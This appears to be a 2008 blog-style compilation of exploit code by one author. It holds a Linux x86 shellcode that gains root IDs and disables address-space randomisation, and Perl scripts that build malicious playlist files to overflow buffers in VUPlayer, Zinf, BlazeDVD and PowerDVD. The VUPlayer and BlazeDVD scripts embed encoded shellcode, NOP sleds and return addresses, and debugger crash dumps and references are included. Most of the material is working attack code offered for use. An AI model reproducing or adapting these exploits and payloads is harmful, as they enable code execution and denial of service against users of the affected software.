Linux/x86 (Fedora 8) setuid(0) + setgid(0) + execve("echo 0 > /proc/sys/kernel/randomize_va_space") Shellcode

/*
* Linux/x86 (Fedora 8) setuid(0) + setgid(0) + execve("echo 0 > /proc/sys/kernel/randomize_va_space")
*
* by LiquidWorm
*
* 2008 (c) www.zeroscience.org
*
* liquidworm [at] gmail.com
*
* 79 bytes.
*
*/


char sc[] =

"\x6a\x17" // push $0x17
"\x58" // pop %eax
"\x31\xdb" // xor %ebx, %ebx
"\xcd\x80" // int $0x80
"\x6a\x2e" // push $0x2e
"\x58" // pop %eax
"\x53" // push %ebx
"\xcd\x80" // int $0x80
"\x31\xd2" // xor %edx, %edx
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x52" // push %edx
"\x70\x61\x63\x65" // push $0x65636170
"\x76\x61\x5f\x73" // push $0x735f6176
"\x69\x7a\x65\x5f" // push $0x5f657a69
"\x6e\x64\x6f\x6d" // push $0x6d6f646e
"\x6c\x2f\x72\x61" // push $0x61722f6c
"\x65\x72\x6e\x65" // push $0x656e7265
"\x73\x2f\x2f\x6b" // push $0x6b2f2f73
"\x2f\x2f\x73\x79" // push $0x79732f2f
"\x70\x72\x6f\x63" // push $0x636f7270
"\x20\x3e\x20\x2f" // push $0x2f203e20
"\x68\x6f\x20\x30" // push $0x30206f68
"\x2f\x2f\x65\x63" // push $0x63652f2f
"\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xcd\x80"; // int $0x80

int main()
{
int (*fp)() = (int(*)())sc;
printf("bytes: %u\n", strlen(sc));
fp();
}


http://www.sebug.net/exploit/4455/
http://pooh.gr.jp/item-5674.html
http://www.milw0rm.com/shellcode/6268
http://packetstormsecurity.org/filedesc/linux-set.txt.html

VUPlayer 2.49 M3U Playlist File Remote Buffer Overflow Exploit

#!/usr/bin/perl

#
# Title: VUPlayer 2.49 M3U Playlist File Remote Buffer Overflow Exploit
#
# Summary: VUPlayer is a freeware multi-format audio player for Windows
#
# Product web page: http://www.vuplayer.com/vuplayer.php
#
# Desc: VUPlayer 2.49 suffers from buffer overflow vulnerability that can be
# exploited remotely using user intereaction or crafting. It fails to perform
# adequate boundry condition of the user input file (1016 bytes), allowing us
# to overwrite the EIP, ECX and EBP registers. Successful exploitation executes
# calc.exe, failed attempt resolve in DoS.
#
#
# ---------------------------------WinDbg-------------------------------------
#
# (e7c.c40): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000001 ecx=41414141 edx=00da5c98 esi=0050b460 edi=0012ee24
# eip=41414141 esp=0012eab8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
# 41414141 ?? ???
#
# ----------------------------------------------------------------------------
#
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# Vulnerability discovered by Greg Linares & Expanders in version 2.44 (2006)
#
# Refs:
#
# - cVE: CVE-2006-6251
# - MILW0RM:2872
# - MILW0RM:2870
# - CERT-VN:VU#311192
# - BID:21363
# - FRSIRT:ADV-2006-4783
# - SECUNIA:23182
# - XF:vuplayer-plsm3u-bo(30629)
#
# Exploit coded by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [t00t] gmail.com
#
# http://www.zeroscience.org
#
# 18.08.2008
#


print "\n\n";
print "=" x 80;
print "\n\n";
print "\tVUPlayer 2.49 M3U Playlist File Remote Buffer Overflow Exploit\n";
print "\t\t by LiquidWorm \n\n\n";
print "=" x 80;

# win32_exec - EXITFUNC=thread CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com

$SHELLCODE = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff".
"\x4f\x49\x49\x49\x49\x49\x49\x51\x5a\x56".
"\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30".
"\x42\x36\x48\x48\x30\x42\x33\x30\x42\x43".
"\x56\x58\x32\x42\x44\x42\x48\x34\x41\x32".
"\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42".
"\x30\x41\x44\x41\x56\x58\x34\x5a\x38\x42".
"\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x30\x42\x30\x42\x50\x4b\x48\x45\x34".
"\x4e\x43\x4b\x58\x4e\x57\x45\x30\x4a\x57".
"\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31".
"\x4b\x58\x4f\x45\x42\x52\x41\x30\x4b\x4e".
"\x49\x54\x4b\x48\x46\x53\x4b\x38\x41\x30".
"\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a".
"\x46\x38\x42\x4c\x46\x37\x47\x50\x41\x4c".
"\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x45\x46\x32\x46\x50".
"\x45\x57\x45\x4e\x4b\x38\x4f\x55\x46\x52".
"\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30".
"\x4b\x54\x4b\x58\x4f\x55\x4e\x51\x41\x50".
"\x4b\x4e\x4b\x38\x4e\x51\x4b\x38\x41\x30".
"\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30".
"\x43\x4c\x41\x33\x42\x4c\x46\x36\x4b\x38".
"\x42\x54\x42\x53\x45\x58\x42\x4c\x4a\x37".
"\x4e\x50\x4b\x58\x42\x34\x4e\x30\x4b\x58".
"\x42\x47\x4e\x31\x4d\x4a\x4b\x48\x4a\x36".
"\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x38".
"\x42\x4b\x42\x50\x42\x50\x42\x30\x4b\x38".
"\x4a\x36\x4e\x53\x4f\x55\x41\x53\x48\x4f".
"\x42\x46\x48\x35\x49\x48\x4a\x4f\x43\x38".
"\x42\x4c\x4b\x57\x42\x35\x4a\x36\x4f\x4e".
"\x50\x4c\x42\x4e\x42\x56\x4a\x56\x4a\x39".
"\x50\x4f\x4c\x48\x50\x50\x47\x35\x4f\x4f".
"\x47\x4e\x43\x36\x41\x56\x4e\x36\x43\x36".
"\x50\x32\x45\x36\x4a\x57\x45\x46\x42\x50".
"\x5a";


$FILE = "TETOVIRANJE.m3u";

$GARBAGE = "\x4A" x 461;

$NOPSLED = "\x90" x 200;

$RET = "\xC0\xE6\x12\x00";

print "\n\n[-] Buffering malicious playlist file. Please wait...\r\n";

sleep (5);

open (BOF, ">./$FILE") || die "\nCan't open $FILE: $!";

print BOF "$NOPSLED" . "$SHELLCODE" . "$GARBAGE" . "$RET";

close (BOF);

print "\n\n[+] File $FILE successfully created!\n\n";

system (pause);

Stack:




EIP:

Shellcode:





http://www.packetstormsecurity.org/filedesc/vuplayer_bof.pl.txt.html
http://www.securityfocus.com/bid/21363

Zinf 2.2.1 PLF/M3U/GQMPEG Playlist File Remote Buffer Overflow Exploit

#!/usr/bin/perl
#
# Zinf 2.2.1 PLF/M3U/GQMPEG Playlist File Remote Buffer Overflow Exploit
#
# Summary: The Zinf audio player is a simple, but powerful audio player for Linux and
# Win32. It supports MP3, Ogg/Vorbis, WAV and Audio CD playback, SHOUTcast/Icecast HTTP
# streaming, RTP streaming, a powerful music browser, theme support and a download manager.
#
# Product web page: http://www.zinf.org/
#
# Desc: Zinf is reported prone to a remote buffer overflow vulnerability when processing
# malformed playlist files. This issue exists due to insufficient boundary checks performed
# by the application and may allow an attacker to gain unauthorized access to a vulnerable
# computer. Reportedly, this issue affects Zinf version 2.2.1 for Windows. Zinf version 2.2.5
# for Linux is reportedly fixed, however, this is not confirmed at the moment.
#
# Tested on Microsoft Windows XP SP2 (English)
#
# Refs:
#
# - http://www.securityfocus.com/bid/11248
# - http://www.milw0rm.com/exploits/559
#
# Vulnerability discovered by Luigi Auriemma (24.11.2004)
#
# Coded by Gjoko "LiquidWorm" Krstic
#
# liquidworm [At] gmail.com
#
# http://www.zeroscience.org
#
# 14.08.2008
#

$buffer = "A" x 1300;
$ret = "BBBB";


open(pls, ">./zinf_list.pls");

print pls $buffer.$ret;

print "\n--> PoC Playlist created...\n";

BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit (PoC)

-------------------------------------

#!/usr/bin/perl
#
# Title: BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit (PoC)
#
# Summary: BlazeDVD is leading powerful and easy-to-use DVD player software.
# It can provide superior video and audio(Dolby) quality, together with other
# enhanced features:e.g. recording DVD,playback image and DV,bookmark and image
# capture.etc.Furthermore, besides DVD,Video CD,Audio CD, BlazeDVD supports DIVX,
# MPEG4, RM, QuickTime, WMV, WMV-HD, MacroMedia Flash and any other video file
# you have the codec installed for.The DVD player software can be extensive
# compatible with hardware,which is operated stable,smoothly under Windows98,
# 98SE, Me, 2000, XP, VISTA.
#
# Product web Page: http://www.blazevideo.com/dvd-player/index.htm
#
# Desc: BlazeDVD 5.0 suffers from buffer overflow vulnerability that can be
# exploited via crafted PLF playlist file localy and remotely. It fails to
# perform boundry checking of the user input file, allowing the EIP to be
# overwritten, thus, controling the next insctruction of the software. After
# succesfull exploitation, calc.exe will be executed. Failed attempts will
# result in Denial Of Service (DoS).
#
# WinDgb(output):
#
#  - (4d8.f80): Access violation - code c0000005 (first chance)
#  - First chance exceptions are reported before any exception handling.
#  - This exception may be expected and handled.
#  - eax=00000001 ebx=77f6c15c ecx=04bd0ba8 edx=00000042 esi=01beffc0 edi=6405565c
#  - eip=41414141 esp=0012f188 ebp=01befcf8 iopl=0         nv up ei pl nz ac pe nc
#  - cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
#  - 41414141 ??              ???
#
#
# Tested on Microsoft Windows XP SP2 (English)
#
# Vulnerability discovered by: Parvez Anwar and Greg Linares
#
# Refs:
#
# - http://secunia.com/advisories/23041/
# - http://www.frsirt.com/english/advisories/2006/4764
# - http://xforce.iss.net/xforce/xfdb/30567
# - http://osvdb.org/30770
# - http://www.securityfocus.com/bid/21337/
# - http://www.milw0rm.com/exploits/2880
#
# Exploit coded by Gjoko 'LiquidWorm' Krstic
#
# liquidworm@gmail.com
#
# http://www.zeroscience.org
#
# 08.08.2008
#

print "\n|==================================================================|\n";
print "|                                                                  |\n";
print "|    BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit |\n";
print "|              by LiquidWorm            |\n";
print "|                                                                  |\n";
print "|==================================================================|\n\n";

$nop = "\x90" x 96;


# win32_exec EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com

$shellcode = "\x29\xc9\x83\xe9\xdd\xd9\xee".
"\xd9\x74\x24\xf4\x5b\x81\x73".
"\x13\x7d\xe6\xe7\x4e\x83\xeb".
"\xfc\xe2\xf4\x81\x0e\xa3\x4e".
"\x7d\xe6\x6c\x0b\x41\x6d\x9b".
"\x4b\x05\xe7\x08\xc5\x32\xfe".
"\x6c\x11\x5d\xe7\x0c\x07\xf6".
"\xd2\x6c\x4f\x93\xd7\x27\xd7".
"\xd1\x62\x27\x3a\x7a\x27\x2d".
"\x43\x7c\x24\x0c\xba\x46\xb2".
"\xc3\x4a\x08\x03\x6c\x11\x59".
"\xe7\x0c\x28\xf6\xea\xac\xc5".
"\x22\xfa\xe6\xa5\xf6\xfa\x6c".
"\x4f\x96\x6f\xbb\x6a\x79\x25".
"\xd6\x8e\x19\x6d\xa7\x7e\xf8".
"\x26\x9f\x42\xf6\xa6\xeb\xc5".
"\x0d\xfa\x4a\xc5\x15\xee\x0c".
"\x47\xf6\x66\x57\x4e\x7d\xe6".
"\x6c\x26\x41\xb9\xd6\xb8\x1d".
"\xb0\x6e\xb6\xfe\x26\x9c\x1e".
"\x15\x16\x6d\x4a\x22\x8e\x7f".
"\xb0\xf7\xe8\xb0\xb1\x9a\x85".
"\x86\x22\x1e\xc8\x82\x36\x18".
"\xe6\xe7\x4e";


$ret = "\x78\x53\xbe\x01";

$payload = $nop.$shellcode.$ret;

open(plf, ">./The_Dark_Knight.plf");

print plf "$payload";

print "\n--> Playlist: The_Dark_Knight.plf succesfully created...Enjoy!\n\n";

print "\n...t00t w00t!\n\a\n";

# August, 2008
-------------------------------------






























http://www.milw0rm.com/exploits/6217
http://zeroscience.org/codes/blazedvd_bof.txt
http://www.securityfocus.com/bid/21337/exploit
http://www.xakep.ru/post/44818/BlazeDVD-Remote-Buffer-Overflow-Exploit.txt

CyberLink PowerDVD <= 8.0 Crafted PLS/M3U Playlist File Buffer Overflow Exploit

Not being able to blog lately so I'll be brief..no time ..

PoC:

--------------------------

#!/usr/bin/perl
#
# CyberLink PowerDVD <= 8.0 Crafted PLS/M3U Playlist File Buffer Overflow Exploit
# Coded by Gjoko "LiquidWorm" Krstic
# liquidworm [At] gmail.com
# http://www.zeroscience.org
#

$buffer = "J" x 520000;  open(m3u, ">./evil_list.m3u"); # or .pls

print m3u "$buffer";

print "\n--> Evil Playlist created... Have fun!\n";



# July, 2008

--------------------------



-------------------------------------------------------------------------------------------
(ea0.d4c): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00003e84 ebx=02890048 ecx=00032310 edx=02890049 esi=0007ef41 edi=0012cb2c
eip=0043fb37 esp=0012c308 ebp=0012cf4c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
image00400000+0x3fb37:
0043fb37 8501 test dword ptr [ecx],eax ds:0023:00032310=00000000
-------------------------------------------------------------------------------------------

http://zeroscience.org/codes/powerdvd_bof.txt
http://www.securityfocus.com/bid/30341/
http://www.packetstormsecurity.org/filedesc/powerdvd_bof.pl.txt.html
http://www.juniper.net/security/auto/vulnerabilities/vuln30341.html
http://www.venustech.com.cn/NewsInfo/124/1959.Html
http://www.maestro-sec.com/forum/viewtopic.php?t=588&f=19
http://www.hwupgrade.it/forum/showthread.php?p=23436246